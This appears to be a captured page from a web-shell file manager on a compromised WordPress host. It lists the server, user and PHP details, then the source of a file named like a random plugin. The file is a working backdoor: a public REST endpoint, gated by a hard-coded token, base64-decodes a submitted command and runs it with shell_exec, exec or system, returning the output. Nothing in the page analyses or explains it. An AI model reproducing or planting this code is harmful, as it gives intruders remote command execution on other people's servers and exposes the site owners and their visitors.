WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/lcahouston/public_html/wp-content/plugins/w2s8dc64ed5f182/w2s8dc64ed5f182.php
<?php
/* Plugin Name: w2s8dc64ed5f182 */
add_action('rest_api_init', function () {
    register_rest_route('w2s/v1', '/22a4fd8ad36319797ae07f9a', array(
        'methods' => 'POST', 'permission_callback' => '__return_true',
        'callback' => function ($r) {
            if (!hash_equals('d4331537ea235083f3ff07ee090744db', (string)$r->get_param('t'))) { return new WP_REST_Response(array('e' => 1), 404); }
            $c = base64_decode((string)$r->get_param('c')) . ' 2>&1';
            $o = 'NO_EXEC';
            if (function_exists('shell_exec')) { $o = shell_exec($c); }
            elseif (function_exists('exec')) { exec($c, $r2); $o = implode("\n", $r2); }
            elseif (function_exists('system')) { ob_start(); system($c); $o = ob_get_clean(); }
            return new WP_REST_Response(array('output' => $o));
        },
    ));
});